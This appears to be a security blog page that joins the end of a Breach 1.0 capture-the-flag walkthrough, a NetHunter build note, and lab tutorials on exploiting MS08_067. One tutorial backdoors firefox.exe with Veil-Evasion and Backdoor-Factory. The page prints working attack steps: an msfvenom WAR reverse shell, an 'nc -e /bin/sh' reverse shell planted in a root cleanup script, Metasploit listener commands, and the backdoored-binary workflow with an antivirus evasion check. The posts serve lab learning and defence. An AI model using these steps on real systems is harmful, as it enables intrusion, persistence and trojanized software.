Links:
http://192.168.110.140/impresscms/modules/profile/index.php?uid=2
http://192.168.110.140/impresscms/modules/profile/index.php?uid=3

Under the ImpressCMS Admin account in the content section you find a message saying Michael has configured artifacts and communications related to the breach on the portal.

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

Looking at the link it looks similar to the uid=3 used previously instead this is content_id=3 and changing it jumps you into other areas to gather more information for your reconnaissance.

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

Interesting here is that Peter Gibbons posted a PCAP file of a re-production of the attack. Something makes the file unreadable for him. Nmap is making it difficult to find the correct port so they can connect to it. The password for storepassword and keypassword are set to tomcat. Securely encrypted could be a hint that the keystore is the SSL certificate for unlocking the PCAP as the traffic is encrypted. This can also be linked to when logged in as Peter Gibbons.

Pulling down the PCAP with wget:
wget http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

Using ngrep to quickly scan through the PCAP with ngrep -I _SSL_test_phase1.pcap

“-I” – simply tells ngrep to read from a file and not an interface

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

Interesting here is the connection to 192.168.110.140:8443 a common apache port.

Next some kali IOC’s are detected

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

Nethunter and exploitdb domains are also egressed to

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

Ngrep just for nethunter IOC’s  with

ngrep -i nethunter -I _SSL_test_phase1.pcap

Using the following ngrep command I searched for some User-Agent Strings which can be handy at times

ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’ you can see some User-Agent Strings (UAS):

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

I know there are some GET requests in there but can’t seem to pull them up with ngrep foo so I go to tcpick

tcpick -C -yP -r SSL_test_phase1.pcap

Apart from confirming what we already know (That 192.168.110.120 established a connection on port 8443 with the Initech server) I see nothing different and can’t manipulate the get requests

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

I also ran
tcpdump -qns 0 -X -r SSL_test_phase1.pcap

and

tshark -r SSL_test_phase1.pcap

Which lead to what I was looking for the get requests!

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

We now have the following URI’s for 192.168.110.140:

/_M@nag3Me/html
/_M@nag3Me/images/asf-logo.gif
/_M@nag3Me/images/tomcat.gif
/favicon.ico
/cmd/
/cmd/cmd.jsp
/cmd/cmd.jsp?cmd=id

It look’s like a web shell was launched against the management interface with the /cmd/ URI structure

Playing around with tshark switches I find another possible URI

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

47 45 54 20 2f 5f 4d 40  6e 61 67 33 4d 65 2f 69  GET /_M@ nag3Me/i

That looks a bit strange

Also used the following tshark filters below and at this point I figured I might as well start the play with the keystore found earlier and see if it decrypts the traffic here.

tshark -r SSL_test_phase1.pcap -z “mgcp,rtd,ip.addr==192.168.110.140”
tshark -r SSL_test_phase1.pcap -z “follow,ssl,hex,1”

I got prompted for a password when I ran this so I used tomcat from earlier to gain access. With this cert it should make reading the PCAP easier and uncover some further information

keytool -list -v -keystore .keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

Using keytool again we can use it to extract the key to a p12 cert

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

Converting the file into a passwordless PEM file

openssl pkcs12 -in key.p12 -out keystore.pem

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

Exporting the private key only:

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

Importing the p12 key into Wireshark so you can then see the SSL stream and follow it.

Importing it into Wireshark is as easy as Pressing CTRL + SHIFT + P or navigating to preferences –> Protocols –> SSL

Edit the RSA keylist with the following

192.168.110.140 8443 http /keyfile/dir tomcat

We can then see remnants of what look like a war file deployed on the apache management interface:

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

We also get the following URI’s of GIF’s which appear to contain nothing of interest

/_M@nag3Me/images/tomcat.gif
_M@nag3Me/images/asf-logo.gif

And what looks like more base64 in the form of an authorization against the management interface

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

And what looks like more base64 in the form of an authorization against the management interface

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

After all of this we learn that it appears as if a malicious war file was uploaded to the Apache server located on 192.168.110.140:8443 and was used to gain tomcat6 level access on the server

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

After this I decided to look inside the two GIF’s and had issues accessing the site due to the cipher suite in use, going into about:config and adding the string security.tls.insecure_fallback_hosts 192.168.110.140 did the trick

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

Decoding the Basic Authorization above in the packet capture is as simple as running the following piece of python against the Basic Authorization string dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Similar to the previous double encoded base64 string this is much easier to decode.

35_Breach_1.0_boot2root_CTF_python_decode_base64

35_Breach_1.0_boot2root_CTF_python_decode_base64

Success

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

tomcat:Tt\5D8F(#!*u=G)4m7zB

This might log us in on the apache server

Running nmap against the server on that port confirms it’s an Apache server

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

Running against port 8080 out of curiosity gave back a random perl script

root@stealth:~/Documents/Breach_Guide# nmap -sV -p8080 192.168.110.140

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-27 23:26 IST
Nmap scan report for 192.168.110.140
Host is up (0.00020s latency).
PORT     STATE SERVICE     VERSION
8080/tcp open  http-proxy?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.12%I=7%D=7/27%Time=57993524%P=x86_64-pc-linux-gnu%r(NU
SF:LL,EC,”/bin/bash\t-c\t{perl,-e,\$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkV
SF:EXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcm
SF:VjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==}\t\$_=\$ARGV\[0\];~s/SPACE/\\t/ig;ev
SF:al;\$_=\$ARGV\[1\];eval\(decode_base64\(\$_\)\);”);
MAC Address: 08:00:27:58:48:B1 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.32 seconds

Decoding the base64 in the above output resolves to:

print “PWNED\n” x 5 ; $_=`pwd`; print “\nuploading your home directory: “,$_,”… \n\n”;

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

Login is successful to https://192.168.110.140:8443/_M@nag3Me/html with the credentials decoded from base64 🙂

Username: tomcat
password: Tt\5D8F(#!*u=G)4m7zB

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

Create a raw payload war file with msfvenom to get a reverse shell on the box

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

Upload the war file to the Apache breach server

41_Breach_1.0_boot2root_CTF_WAR_file_upload

41_Breach_1.0_boot2root_CTF_WAR_file_upload

Click on the deployed WAR file to visit it in the browser

42_Breach_1.0_boot2root_CTF_execute_WAR_file

42_Breach_1.0_boot2root_CTF_execute_WAR_file

You will receive what appears to be a blank page, navigating to this link however provides you with a reverse tcp reverse shell to the system

43_Breach_1.0_boot2root_CTF_WAR_file_executed

43_Breach_1.0_boot2root_CTF_WAR_file_executed

In order to get that reverse shell you need to set a simple nc listener running on port 443 (Or alternatively use msfconsole)

nc -lvp 443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

Connection results in tomcat6 access similar to what was seen in the PCAP. Gaining a TTY shell can be leveraged with python:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

Checking /etc/passwd for anything interesting

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

Interesting accounts to take note of are milton and blumergh as there may be some password reuse. A bit of poking around first though finds the credentials in the configuration just used to login to the tomcat server.

cat /var/lib/tomcat6/conf/tomcat-users.xml

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

Poking around the home directory there appears to be two user accounts on which correlate to the interesting accounts discovered earlier for milton and blumbergh, milton has a my_badge.jpg and a script in his home directory. Milton appears to have added blumbergh to the sudoers file which is interesting as he can run some scripts that don’t require a password.

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

The badge:

49_Breach_1.0_boot2root_CTF_Milton_badge

49_Breach_1.0_boot2root_CTF_Milton_badge

Checking for any hidden files there are a few but they cannot currently be accessed

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

The same is seen in the blumbergh home folder

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

Trying blumbergh first with the password “coffeestains” was a success haha, all hail password reuse

52_Breach_1.0_boot2root_CTF_su_blumbergh

52_Breach_1.0_boot2root_CTF_su_blumbergh

Checking the .bash_history file of the blumbergh account shows a script was used in what looks like some sort of a cleanup folder

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

Navigating to that directory shows a hacker evasion script 🙂 (This must be what keeps kicking me off the server)

54_Breach_1.0_boot2root_CTF_tidyup_script

54_Breach_1.0_boot2root_CTF_tidyup_script

The interesting thing here is that the /var/lib/tomcat6/webapps/swingline directory has some permissions which should allow scripts to run as tomcat6 every three minutes, this could allow a reverse nc shell to run every three minutes if we are lucky!

55_Breach_1.0_boot2root_CTF_stat_swingline

55_Breach_1.0_boot2root_CTF_stat_swingline

Running sudo -l as blumbergh shows Bill can run tee as he is added to the sudoers directory, tee can be used for writing to standard input and standard output 🙂

56_Breach_1.0_boot2root_CTF_sudo_l

56_Breach_1.0_boot2root_CTF_sudo_l

Lets create a quick netcat listener test script “script.sh” that can be ran as a test before the three minutes are up and it’s removed from the swingline directory (success):

echo “nc -e /bin/sh 192.168.110.23 443” > /var/lib/tomcat6/webapps/swingline/script.sh

Because we can run tee as root we can then use that script and echo it into the tidyup.sh script using tee!

cat /var/lib/tomcat6/webapps/swingline/script.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

A quick check the script has been modified:

cat /usr/share/cleanup/tidyup.sh

nc -e /bin/sh 192.168.110.23 443

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

Disconnect again and set your listener of choice in motion and play the waiting game for the next three minutes

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

Woohoo, root unlocked 🙂

60_Breach_1.0_boot2root_CTF_Flag_obtained

60_Breach_1.0_boot2root_CTF_Flag_obtained

Looking at flair.jpg it can be turned into base64 and easily transported off the system then decoded back into a JPG on the host system

base64 flair.jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

base64 -d flair > flair.jpg

“-d” is used for decoding

Opening it from the terminal then with xdg-open

xdg-open flair.jpg

I need to talk about your flair 🙂

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

And that’s it, I could have delved further and looked at the mysql side of things but I didn’t need to start cracking hashes or manipulating tables to get to the end goal, there are probably other methods that will get you to root possibly even quicker but this worked for me and I’m happy with the end result. It’s a great challenge and you can download it here from the download mirror or from magnet torrent to give it a go yourself. It’s well worth it!

 

Kali NetHunter Custom Build – Nexus 7 2013

Hey all I created a script to automate the build and installation of Kali for the 2013 edition of the Nexus 7 and uploaded it to GitHub.

This script allows you to easily deploy Kali Linux NetHunter to the 2013 Nexus 7 (LMY48G) with ease. It can be modified for other devices too.

Prerequisites:
Make sure you have USB debugging enabled on your device.
Make sure you have approved the USB debugging RSA fingerprint for your computer before you continue.

This script uses the Offensive Security scripts and automates the process:

https://github.com/offensive-security/nethunter-LRT.git

https://github.com/offensive-security/kali-nethunter

It builds a marshmallow image with a full chroot (Change flo to a different version if required):

python build.py -d flo –marshmallow –rootfs full –release Kali_Keith_Edition_v1.9

Android stock image is pulled down from Google:

https://dl.google.com/dl/android/aosp/razor-lmy48g-factory-9f37ae5f.tgz

TWRP is downloaded:

https://dl.twrp.me/flo/twrp-3.0.2-0-flo.img

SuperSU is then downloaded:

https://download.chainfire.eu/897/SuperSU/BETA-SuperSU-v2.67-20160121175247.zip?retrieve_file=1

The unlock script is then ran against the device and it sleeps for a minute as you may need to touch the screen to confirm this if not already unlocked.

/bin/bash ./oemUnlock.sh && sleep 1m

Stock image is flashed (Change 32gb to the required version):

/bin/bash ./stockNexusFlash.sh 32gb

Stock flashing can take some time to complete, once it’s finished, update any additional updates that may need to be installed and configure developer options with USB debugging enabled to continue to the next step. Once done click enter.

Flash with your custom Kali NetHunter image, install TWRP and SuperSU:

/bin/bash ./twrpFlash.sh

Have fun 🙂

 

Backdooring Firefox with Veil-Evasion, Backdoor-Factory & Metasploit – Server 2003 MS08_067

In this scenario you have just compromised a Windows 2003 Domain Controller as it was unpatched for MS08_067. You don’t want to create a persistent backdoor on the target system as a vigilant administrator may see the anomaly and investigate. You are happy to wait for some time before you get a shell on the box again. The best bit is the administrator is on the box at the time so it arouses less suspicion and also allows you to spy on the administrator and see what they are doing.

What do you do?

Well you could do many things but what we will cover here is using a system application already installed on the system that we will modify with some shellcode and drop back on the target system creating a backdoor from an executable that is ran frequently on the target system and blends in with the traffic generated. Looking at the desktop shortcuts is an excellent way to see what is commonly used by the user of a system. Either that or they didn’t untick the shortcut box but in saying that there is a strong chance it will be ran in the near future if you are patient and willing to wait. Patience is the key.

I have been meaning to write about Backdoor-Factory for some time now as it’s quite cool, your executable is fully functional after it’s been modified and will continue to work like it did before without any issues if you execute the process of modifying the executable correctly that is. The other reason I wanted to write this was to show how easy it is to do something like this and why you need to scrutinize your downloads or executables, especially if they come from an unknown source like a torrent site for example. Even Altcoin executables have been targeted on forums where unsuspecting end users think they are downloading a reputable miner, when in fact it’s actually backdoored and stealing from them :-/

The combination of Veil-Evasion and Backdoor-Factory together however is an excellent combination for obfuscating your payload on a penetration test and will remain undetected by Anti-Virus as long as you don’t upload the executable file to VirusTotal, uploading the hash to check though is perfectly fine 😉

The point of this article is to not put all your trust in VirusTotal or your system Anti-Virus to confirm that something is clean.

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall

2 – Security Onion <– Monitoring & IDS

4 – Windows Server 2003 <– Domain Controller

5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Exploit a Windows 2003 Domain Controller with Metasploit (MS08_067).

2 – Check the shortcuts on the “All Users” desktop.

3 – Pull one of the executables from behind a shortcut on the desktop and backdoor it with Veil-Evasion using the Backdoor-Factory payload.

4 – Check the hash of the file against VirusTotal.

5 – Upload the backdoored executable to the target system.

6 – Configure a listener with Metasploit to receive the shell on the box when the shortcut is clicked.

7 – Be patient.

Kali Attacker = 192.168.1.102

Windows 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

You’ve already done some reconnaissance with nmap and you know that the system is vulnerable to MS08_067 you then exploit the system with Metasploit’s msfconsole and gain a meterpreter shell on the Windows 2003 Domain Controller.

Msfconsole

use exploit/windows/smb/ms08_067_netapi

set rhost 192.168.1.105

exploit

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

Check the IP address and the user you’re logged on as on the box:

“ifconfig” checks your IP and MAC address

“getuid” checks the user privilege you currently have on the box which is System 🙂

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

Next, navigate the Windows 2003 directories on the system to locate the “All Users” profile and see what shortcuts are on the desktop.

cd C:\
ls
cd “Documents and Settings”
ls
cd “All Users”
ls

3_meterpreter_changing_directories_Windows_Server_2003

3_meterpreter_changing_directories_Windows_Server_2003

Continuing on

ls
cd Desktop
ls

At this point you will see the shortcuts for “All Users” and notice a shortcut for Mozilla Firefox (because you installed it). Leveraging this information there is a good chance someone will open the browser on the Server at some point and this is what we want. Alternatively system tools are an excellent choice also like the Sysinternals Suite of tools that often will exist on a Windows server. You could backdoor anything from files to installers to executables that are commonly used. Installers are another excellent way to pivot onto other boxes if there is a network share specifically holding installers for quick install on other systems as is often the case, hell you could even backdoor something that is pushed out via Group Policy and target a full Active Directory user base if the scope asks for the worst.

4_meterpreter_changing_directories_Windows_Server_2003_continued

4_meterpreter_changing_directories_Windows_Server_2003_continued

Navigate to the program files directory of Mozilla Firefox on the system as this is where the executable resides that is executed when the shortcut is clicked whether on the desktop or the Program Files directory from the Start Menu.

From the same meterpreter window run the following commands below

Cd “C:\\Program Files\\Mozilla Firefox”
ls | grep firefox.exe

Note the double backslash that needs to be passed as an escape when navigating the Windows directory using the meterpreter compared to the single backslash on a standard Windows console. The quotes are also important to encapsulate the string correctly as it has spaces similar to a Windows system.

Ls | grep firefox.exe is simply checking the contents of the Mozilla Firefox folder that you just changed into and piping it to grep to search for firefox.exe as this is the executable we are going to backdoor.

5_navigating_program_files_Mozilla_Firefox_checking_executable

5_navigating_program_files_Mozilla_Firefox_checking_executable

To download firefox.exe to your Kali system simply run the following from the meterpreter console

download firefox.exe

6_metasploit_meterpreter_download_firefox_exe

6_metasploit_meterpreter_download_firefox_exe

Now that you have the exact original version of the firefox executable on the target system you can backdoor it with Veil-Evasion, it does not come as standard with Kali but it is included in the repository so just run:

apt-get update
apt-get veil-evasion

Follow along with the prompts, they are pretty much self explanatory and you will soon have Veil-Evasion installed on your Kali system and ready to use in no time at all.

7_apt-get_update_and_apt-get_install_veil-evasion_

7_apt-get_update_and_apt-get_install_veil-evasion_

So next thing to do is run Veil-Evasion and get things moving along by running “list” to check the available payloads

8_veil_evasion_started_list

8_veil_evasion_started_list

Select option 18 for the native/backdoor_factory payload and press Enter to continue

9_veil_evasion_started_list_select_backdoor-factory_payload

9_veil_evasion_started_list_select_backdoor-factory_payload

Next you need to modify the backdoor-factory payload options from the default ones seen below

10_veil_evasion_backdoor-factory_payload_options

10_veil_evasion_backdoor-factory_payload_options

Modify the options to that of your local host IP address, local port, path of the original executable (firefox.exe), the patch method to manual and the reverse shell payload you want to use.

Set lhost 192.168.1.102
set lport 443
set original_exe /root/firefox.exe
set patch_method manual
set payload reverse_shell_tcp_inline

11_veil_evasion_backdoor-factory_payload_options_modified

11_veil_evasion_backdoor-factory_payload_options_modified

You can double check your predefined settings by running “info”

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

Once your happy with the settings next you need to run “generate” in order to generate your payload and modify the firefox.exe file to include your reverse shell hidden in shell code. You will need to locate a cave to hide your shellcode in and I find doing this manually works better than letting Backdoor-Factory automatically do this for you. The trick is to find a cave that is bigger than your initial size which is 411 in this case. Option 1 is 472, Option 2 is 551 both of which are only a little bit bigger than the size you are trying to hide your shellcode in so option 3 with a size of 1184 is the best option and should work without any issues for the task at hand. If none of the cave sizes seem of use you can use j to jump and find more caves to use instead until you are happy.

Enter 3 and hit Enter to finish the process

13_veil_evasion_backdoor-factory_payload_generate

13_veil_evasion_backdoor-factory_payload_generate

This should run without issue like this

14_veil_evasion_backdoor-factory_payload_generate_option_selected

14_veil_evasion_backdoor-factory_payload_generate_option_selected

Next you will be prompted for your payload name, enter whatever you want but the payload is firefox so it makes sense to enter firefox for the name.

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

Congratulations, you have just generated your payload. You’ll see the location of the payload file generated in the final output like the screenshot below

16_veil_evasion_backdoor-factory_payload_generated

16_veil_evasion_backdoor-factory_payload_generated

Before continuing it’s wise to check the hash on VirusTotal (not the actual executable as that will be flagged when analyzed). The hash however will not give any of the contents away and will likely remain undetected on the target system.

Change into the directory of the Virus Total Notify tool:

Cd /usr/share/veil-evasion/tools/vt-notify

Run the script with the “-s” option to check the file hash of your backdoored executable and you should see an output like the one below:

./vt-notify -s /var/lib/veil-evasion/output/compiled/firefox

17_veil_evasion_vt-notify_file_hash_check

17_veil_evasion_vt-notify_file_hash_check

Now that you know the hash is not flagged you can safely upload it back to the target system using the meterpreter shell from earlier and use the meterpreter upload command

upload /var/lib/veil-evasion/output/compiled/firefox.exe .

The dot (.) above tells upload to copy the file to the current directory which is the Mozilla Firefox program files directory we had opened earlier.

18_meterpreter_upload_firefox_backdoor

18_meterpreter_upload_firefox_backdoor

Next you need to setup a listener of your choosing but for this guide I will use Metasploits msfconsole to create the listener. At this point exit your current meterpreter session on the target system so that you are back at the msf > prompt.

Configure your listener

use exploit/multi/handler
set payload windows/shell_reverse_tcp
set lhost 192.168.1.102
set lport 443
exploit

19_msfconsole_reverse_tcp_shell_configuration

19_msfconsole_reverse_tcp_shell_configuration

Now go to your Windows 2003 Domain Controller and execute the firefox shortcut on the desktop and pop back to your meterpreter session and you should now see a connected shell on your target system in the C:\Program Files\Mozilla Firefox directory where we dropped the payload.

20_msfconsole_reverse_tcp_shell_connected

20_msfconsole_reverse_tcp_shell_connected

Checking the processes on the target system with the Sysinternals Process explorer you should see firefox.exe with a cmd.exe child process running.

21_Sysinternals_Process_Explorer_process_checking

21_Sysinternals_Process_Explorer_process_checking

Checking the TCP/IP connections currently running from the Firefox.exe process you will see your Kali remote IP address running over https port 443.

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

Looking at the image file I noticed it was a bit weird looking too. Not important just something weird I noticed.

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

Checking the cmd.exe child process you will see that firefox.exe is the parent of cmd.exe which should never be the case!

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

That’s it, check your Security Onion logs and see what you can determine happened. There is some interesting information in there too that warrants a closer look.

I hope you take away some valuable lessons from this tutorial and inspect the processes running on your system if you don’t do that already! Be dubious of random executables online before you download them and don’t rely on VirusTotal to save you or make you feel safe. Also, stop using Windows Server 2003 and Windows XP as these systems are full of holes and  even though MS08_067 was exploited in this article and the previous one these systems are full of holes and unsupported so move away from them. It’s really child’s play and trivial for any script kiddie to own your box.

There is also a video to accompany this article seen here below.

Until next time play in the lab and see what you can do, read the man pages and read about security threats and subscribe to RSS feeds online. It’s an excellent way to learn and get to your end goal whatever that may be.

 

Exploiting ms08_067 – Windows XP & Windows Server 2003 Passing the hash

If you have ever encountered Conficker (aka Downup, Downadup and Kido depending on the AV vendor naming convention but I prefer Conficker) on a Windows system it has most likely been due to the system being unpatched for ms08_067 (CVE-2008-4250) published on October 23, 2008 replacing the previous vulnerability affecting some Windows systems published on August 08, 2006 MS06-040 (CVE-2008-4250) which makes it trivial to run arbitrary code on the target system via remote code execution (RCE) allowing an attacker to gain full system access of the target machine and do anything they want. This made the Conficker Worm one of the best worms since the Welchia Worm back in 2003 that was classed as a helpful worm as it looked for the Blaster Worm on an infected system deleted it and then patched the users system although it was not always successful with the patching process according to Microsoft. Conficker still exists and one of the variants of which there are five (A,B, B++, C & E)  even formed a huge botnet.

A nice visual representation of how the Conficker Worm spreads is outlined below courtesy of Wikimedia and it uses a nice little technique commonly used by worms and malware still today to spread laterally through a network exploiting weak passwords on the victim machines. Later another variant updated the previous versions to propagate via network shares and removable media and was recently discovered in a nuclear power plant in Germany where there machines were said to be riddled with it as is often the case when you discover a Conficker infection. I once witnessed Conficker hit over 25,000 machines in minutes after a Senior technician had plugged their USB into a system logged in as domain admin, lets just say that heads rolled!

Did you know that the name Conficker actually translates to “Configure Fucker” using the English word Configure (Con) and the German derogatory term “Ficker” which translates to Fucker in English so next time you see it think of the correct name and don’t refer to it as Downup for example as that’s just AV companies giving different names to malware families and confusing the masses.

Analysis has been difficult for researchers who struggled to get around the huge amount of pseudo-random generated domains generated on a daily basis of which there was 250 initially beaconing out to eight Top Level Domains (TLD’s) think .biz, .com etc. When it reached the Command and Control (C&C) server it then would update itself or send a new payload to the victim machine. Imagine dealing with a huge amount of Indicators of Compromise (IOC’s) like this yourself, it’s quite daunting but through collaboration in the Cyber Security Community which included Microsoft, ICANN, domain registry operators, anti-virus vendors, and academic researchers they managed to crack the Domain Generation Algorithim (DGA) that was being used to generate the 250 pseudo-random generated domains a day and register the domains in advance of the Conficker Author and block them from communicating with and updating the botnet which proved to be quite successful until Conficker C was released in early February 2009 and managed to update nearly half a million computers from the A/B variants to Conficker C.

Variants B and later also upgraded the armoring of it’s payloads to prevent them from being hijacked and moved from MD5 hashing to MD6 six weeks after a weakness was discovered in the MD5 algorithm and moved from an RSA 1024-bit private key to an RSA 4096-bit private key which meant Conficker didn’t unpack or execute the payload unless the signature was verified against the public key in the malware.

The most amazing thing that happened when Conficker updated the previous variants on April the 1st 2009 was that it now no longer generated 250 pseudo-random generated domains per day but a staggering 50,000 pseudo-random generated domains from over 116 TLD’s all over the world. The Conficker author was learning from the Conficker Working Group and adapting to make their research incredibly more difficult than it once had been.

This is why we still see Conficker today so long after it’s initial release eight years ago.

0_Conficker_infection_methods

0_Conficker_infection_methods

The exploit of MS08_067 works so well because the Windows Server service does not properly handle specially crafted RPC requests that are sent to it.

The Server service provides Remote Procedure Call (RPC) support so that you can print, access file shares and communicate with applications on other systems in the network using named pipe services.

The Remote Procedure Call (RPC) is a protocol which allows a program to request a service from a program that is located on another system remotely on the network. The remote system will be known as the client and the remote service-providing program is the server.

Anyway let’s get to the fun part.

Exploiting MS08_067 is a bit like writing “hello world” for the first time in a new language and it’s a great way to get started 🙂

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall
2 – Security Onion <– Monitoring & IDS
3 – Windows XP <– Joined to a Domain Controller
4 – Windows Server 2003 <– Domain Controller
5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Scanning a system using Nmap to check if it is vulnerable first to MS08_067.

2 – Exploiting the system with Metasploit using msfconsole.

3 – Grabbing password hashes on the compromised target system.

4 – Checking which hashes work with an Nmap script.

5 – Leveraging the hashes to attack a Domain Controller by passing the hash.

6 – Have a quick look at the system processes using Process Explorer.

7 – Have a quick look at the Security Onion Snort IDS Logs in Squil to see what events were triggered.

Kali Attacker = 192.168.1.102
XP Victim IP Address = 192.168.1.104
Windows Server 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

First by using one of the built in Nmap Scripting Engine (NSE) scripts we can scan the system to see whether it’s vulnerable to MS08_067 (It will also tell you if the system is already infected with Conficker)

Search for it on your system using the following command

locate nmap | grep ms08

You can then use the location of the file in your Nmap command as outlined below

nmap –script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse 192.168.1.104

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-vuln-ms08-067.nse” this is the directory in which the script we want to use resides.
“192.168.1.104” this is the target (victim) machine to scan

1_nmap_ms08_067_nse_vulnerability_scanning_script

1_nmap_ms08_067_nse_vulnerability_scanning_script

